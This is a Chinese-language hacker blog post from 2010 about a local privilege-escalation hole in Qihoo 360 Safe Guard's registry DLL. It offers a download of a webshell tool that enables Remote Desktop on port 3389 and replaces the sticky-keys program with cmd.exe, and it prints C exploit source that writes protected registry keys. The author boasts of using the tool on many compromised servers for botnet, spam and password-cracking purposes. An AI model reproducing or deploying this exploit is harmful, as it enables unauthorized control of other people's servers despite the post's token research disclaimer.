奇虎360安全卫士服务器提权

不知道该说什么好了,以前拿了很多shell,一直懒得提权,一是没那个必要,二是提权太累了,三是服务器类型的肉鸡多了也没啥用。不过要是能让我一下子就成功提权,何乐而不为呢?

于是360本地提权来了,最近已经沸沸扬扬的了,不多发表过多评论,只是觉得做公司更要厚道;本人菜另外还有很多兄弟在360,不说什么了,发了本地提权的利用程序吧。friddy那里已经有一份了,是用来替换5下shift为cmd.exe的:360本地提权webshell下测试程序

瑞星说是“bregdrv.sys和bregdll.dll”出的问题,然后http://www.sebug.net/exploit/19048/这个poc也是直接load这个dll的,于是这个利用程序也是基于这个的。webshell下使用,guest权限即可,需要Wscript.shell支持,功能主要是:

1.开启终端服务,端口为3389;用法:360.exe port

2.替换5下shift为cmd;用法:360.exe sethc

另外大家可以参考下包子的文章:360 0day漏洞及相关内幕,360很多dll存在类似的调用问题。据360的公告介绍已经打补丁了,具体是真是假,大家自己试试这个工具还能不能用吧。

这个工具不针对任何公司和个人,仅限爱好渗透的同学们进行交流。话说昨天从下午到晚上,我2、3年来拿到的仍然健在的shell的满足3389打开与安装了360安全卫士的服务器我都提了一下权,发现360在服务器的普及率也高的惊人,至少有80%,怪不得大家都提权提的爽死了,于是乎,很多肉鸡终于找到家了。

现在终于知道服务器类型的肉鸡的好处了,一是用来上线;二是用来摆放垃圾未备案域名;三是用来跑密码…看来之前轻视了。

演示:

奇虎360安全卫士服务器提权 - dark clout - 小男生_博客

(注:本图片只限学习,拒绝按此方法进行破坏或者瑞星公司拿此图片作为炒作)

下载:http://www.oldjun.com/download/360.exe

奇虎360安全卫士本地提权漏洞后门利用程序

#include <windows.h>

typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath                        "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

#define TestDeleteKey             HKEY_LOCAL_MACHINE
#define TestDeleteRegPath    "Software\\360Safe\\Update"

#define TestSetKey                   HKEY_LOCAL_MACHINE
#define TestSetPath                  "Software\\360Safe"

BOOL InitBRegDll()
{
         LONG lResult;
         HKEY hKey;

         CHAR cPath[MAX_PATH + 32] = { 0 };
         DWORD dwPathLen = MAX_PATH;

         lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
         if (FAILED(lResult))
                  return FALSE;

         DWORD dwType = REG_SZ;
         lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
         RegCloseKey(hKey);
         if (FAILED(lResult))
                  return FALSE;

         strcat(cPath, "\\deepscan\\BREGDLL.dll");

         HMODULE modBReg = LoadLibraryA(cPath);
         if (!modBReg)
                  return FALSE;

         INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
         BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
         BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
         BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
         BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

         if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

         if (!InitRegEngine()) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

         return TRUE;
}

LONG TestSetRegKey()
{
         HKEY hKey;
         LONG lResult;

         lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
         if (FAILED(lResult))
                  return lResult;

         DWORD dwType = REG_SZ;
         static char szData[] = "TEST VALUE";
         lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
         BRegCloseKey(hKey);

         return lResult;
}

int main(int argc, char *argv[])
{
         if (!InitBRegDll()) {
                  MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
                  return 1;

         }
         if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
                  MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
                  return 2;

         }

         if (FAILED(TestSetRegKey())) {
                  MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
                  return 3;
         }

         MessageBoxA(NULL, "突破系统安全检查,获得最高权限,漏洞利用成功!", "成功", MB_OK);
         return 0;
}

2010.02.05

程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!